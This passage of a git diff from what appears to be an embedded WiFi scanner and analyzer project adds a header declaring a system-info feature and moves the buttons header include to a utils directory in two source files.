+1,3 @@ +#pragma once + +void runSystemInfoFeature(); diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp index 320e826..928e621 100644 --- a/src/wifi/wifi_analyzer.cpp +++ b/src/wifi/wifi_analyzer.cpp @@ -3,7 +3,7 @@ #include #include "../ui/display.h" -#include "../buttons.h" +#include "../utils/buttons.h" // ===== CONFIG ===== #define GRAPH_WIDTH 128 diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp index 0b20d3d..9dabe8f 100644 --- a/src/wifi/wifi_scan.cpp +++ b/src/wifi/wifi_scan.cpp @@ -1,7 +1,7 @@ #include #include #include "../ui/display.h" -#include "../buttons.h" +#include "../utils/buttons.h" #define MAX_NETWORKS 30 -- cgit v1.2.3